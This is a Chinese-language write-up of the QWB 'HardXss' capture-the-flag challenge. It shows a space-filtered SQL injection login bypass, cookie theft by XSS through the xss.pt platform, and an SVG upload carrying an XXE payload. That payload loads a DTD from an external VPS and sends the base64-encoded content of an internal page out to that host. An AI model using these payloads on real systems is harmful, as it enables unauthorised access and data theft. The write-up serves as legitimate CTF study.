[QWB]HardXss复现

登陆(sql注入)

拿到页面后只有一个登陆框和一个提交反馈的页面,提交反馈界面需要登陆

登陆框的话,肯定先测试注入

发现过滤了空格,空格绕过常规操作admin'or(1)#

登陆成功,但是发现response包含Set-Cookie,并且设置了domain

image-20210622220457053

只能手动设置cookie并登陆

登陆进去是一个/admin/界面,并且只有一个头像上传功能,并且带预览,发现允许上传的类型中包含svg

image-20210622221455914

在源码里还发现一个display:none标签

<a href="https://flaaaaaaaag.cubestone.com?secret=demo" style="display:none">内网管理中心</a>

而在我们刚刚登陆之前的界面里还有一个提交反馈功能点

里面有链接参数框,经检测,会有robot去访问我们的链接

image-20210622222954950

image-20210622223026416

看了大佬的文章,发现很多非预期都是利用低版本的chrome_1day,这里的chrome版本在–no-sanbox下的确可以成功,但是这种思路并不是作者的预期解

根据上面这几点我们可以很容易的联想到利用xss来ssrf,我们先尝试获取管理员cookie

利用xss.pt平台接收cookie

image-20210622222351597

image-20210622223520619

但是下面一个问题,该如何让robot去访问https://flaaaaaaaag.cubestone.com/?secret=demo

因为存在跨域问题,这样我们的js就无法实现去访问

看了大佬的文章,知道这里可以利用xxe来实现

构造xxe的dtd放到vps上,svg配合xxe的payload的在PayloadsAllTheThings上面有

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=https://flaaaaaaaag.cubestone.com/?secret=demo">
<!ENTITY % payload "<!ENTITY send SYSTEM 'https://xxe.f4l1k.repl.co/?p=%file;'>">

再将svg的xml上传

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE svg[
<!ENTITY % remote SYSTEM "http://xxe.f4l1k.repl.co/exp.xml">
%remote;%payload;
]>
<svg>
&send;
</svg>

image-20210623122407638

我们成功拿到源码

1
2
3
4
5
6
7
<script >
document.domain="cubestone.com";
function pageload(data){
document.body.innerText=data;
}
fetch(`loader.php?callback=pageload&secret=demo`).then((res)=>{return res.text();}).then((data)=>{eval(data);})</script

我们尝试去访问一下loader.php?callback=pageload&secret=demo

1
pageload('Control center access require a vaild secret key. You entered a invaild secret!')